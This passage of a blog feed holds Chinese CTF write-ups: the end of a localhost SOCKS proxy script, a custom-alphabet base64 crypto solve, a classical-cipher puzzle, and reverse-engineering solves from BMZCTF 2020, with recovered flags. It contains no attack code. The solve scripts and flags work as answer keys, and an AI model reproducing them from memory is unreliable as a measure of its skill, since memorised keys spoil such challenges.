&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;struct.pack(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;!BBBBIH&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;SOCKS_VERSION&lt;&#x2F;span&gt;&lt;span&gt;, error_number, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, address_type, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;exchange_loop&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;client&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;remote&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 等待数据
&lt;&#x2F;span&gt;&lt;span&gt;            r, w, e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;select.select([client, remote], [], [])
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;client &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;r:
&lt;&#x2F;span&gt;&lt;span&gt;                data &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;client.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4096&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;remote.send(data) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;remote &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;r:
&lt;&#x2F;span&gt;&lt;span&gt;                data &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;remote.recv(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4096&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;client.send(data) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;__main__&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;with &lt;&#x2F;span&gt;&lt;span&gt;ThreadingTCPServer((&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;127.0.0.1&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9011&lt;&#x2F;span&gt;&lt;span&gt;), SocksProxy) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span&gt;server:
&lt;&#x2F;span&gt;&lt;span&gt;        server.serve_forever()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;misc5.png&quot; alt=&quot;misc5&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;crypto-real-base&quot;&gt;[crypto] Real_base&lt;&#x2F;h1&gt;
&lt;p&gt;程序用未知的表进行&lt;code&gt;base64&lt;&#x2F;code&gt;加密，先用标准base64加密，可以得到部分替换表，再通过猜测得到完整的替换表。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;base64
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;m1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;rTcb1BR8YVW2EOUjweXpIiLt5QCNg7ZAsD9muq3ylMhvofnx&#x2F;P&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;m1c_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;base64.b64encode(m1)
&lt;&#x2F;span&gt;&lt;span&gt;m1c&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;2Br9y9fcu97zvB2OruZv0D3Bwhbj0uNQnvfdtC2TwAfPrdBJ3xeP4wNn0hzLzCVUlRa=&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# A-Za-z0-9+&#x2F;=
&lt;&#x2F;span&gt;&lt;span&gt;ab&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+=&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;ab_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;_&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(ab)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i,c &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;enumerate&lt;&#x2F;span&gt;&lt;span&gt;(m1c):
&lt;&#x2F;span&gt;&lt;span&gt;    ab_[ab.index(c)]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(m1c_[i])
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;.join(ab_))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# klmn_____t_v_xyz01_345___9ABCDEF_H_J_L_N___R_TUVWXYZa_cde__h_j_=
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 猜测为
&lt;&#x2F;span&gt;&lt;span&gt;ab_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;klmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij+=&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;flag_c&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;tCvM4R3TzvZ7nhjBxSiNyxmP28e7qCjVxQn91SRM3gBKzxQ=&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;flag_e&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;flag_c:
&lt;&#x2F;span&gt;&lt;span&gt;    flag_e.append(ab_[ab.index(i)])
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(base64.b64decode(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;(flag_e)).decode())
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# Nep{Wwe_a4re_b1as3r!!Bby_Ccomptine}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;crypto-ni-men-yi-tian-tian-de-bu-xie-dai-ma-nan-dao-shi-zai-deng-ai-qing-ma&quot;&gt;[crypto] 你们一天天的不写代码难道是在等爱情吗&lt;&#x2F;h1&gt;
&lt;p&gt;标准银河字母、盲文、跳舞的小人、圣堂武士密码等，然后经过&lt;code&gt;key&lt;&#x2F;code&gt;为3的W型栅栏密码，和&lt;code&gt;ROT13&lt;&#x2F;code&gt;即为&lt;code&gt;flag&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;crypto.jpg&quot; alt=&quot;crypto&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nepctf-wp&#x2F;.&#x2F;crypto1.png&quot; alt=&quot;crypto1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>2020 BMZCTF Re&amp;Pwn WriteUp</title>
        <published>2020-12-25T00:00:00+00:00</published>
        <updated>2020-12-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/bmzctf-2020-wp/"/>
        <id>https://richar.top/bmzctf-2020-wp/</id>
        
        <content type="html" xml:base="https://richar.top/bmzctf-2020-wp/">&lt;h1 id=&quot;re&quot;&gt;Re&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;re1&quot;&gt;re1&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;main&lt;&#x2F;code&gt;函数如下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;bmzctf-2020-wp&#x2F;.&#x2F;re1.png&quot; alt=&quot;re1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;对输入逐字符加密，先后进行了异或、取余、异或，由于取余操作不好直接逆向，所以这里采用对128个&lt;code&gt;ascii&lt;&#x2F;code&gt;码全部进行上述加密，然后只要查表就可以得到加密前的&lt;code&gt;ascii&lt;&#x2F;code&gt;码了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;flag&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070369&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070379&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070398&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070368&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070420&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070365&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070346&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070389&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070364&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070387&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070337&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070392&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070349&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070370&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070386&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070370&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070391&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070380&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070444&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070392&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070446&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070380&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070392&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070364&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070376&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070447&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070446&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5070426&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;en&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x1A2B3C
&lt;&#x2F;span&gt;&lt;span&gt;    a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x1A2B0C
&lt;&#x2F;span&gt;&lt;span&gt;    a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4D5E6F
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;a
&lt;&#x2F;span&gt;&lt;span&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;{}
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;128&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    key[en(i)]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;i
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;flag:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(key[i]),&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# flag{BMZCTF_ReUeXs3_1s_Co01}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;re2&quot;&gt;re2&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;Auth&lt;&#x2F;code&gt;函数如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;bmzctf-2020-wp&#x2F;.&#x2F;re2.png&quot; alt=&quot;re2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;该函数将输入分成三段处理，先进行异或和倒序(注意第二段没有倒序)，然后S盒交换。就S盒提取出来，写脚本就行了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;out_part1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3214&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3205&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3207&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3225&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3236&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3281&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3203&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3214&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3204&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;out_part2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3994&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3979&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4000&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4047&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3981&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4000&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4025&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3998&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4000&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;out_part3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1167&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1177&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1167&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1175&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1245&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1205&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1180&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1154&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1208&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;subA&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8 &lt;&#x2F;span&gt;&lt;span&gt;]
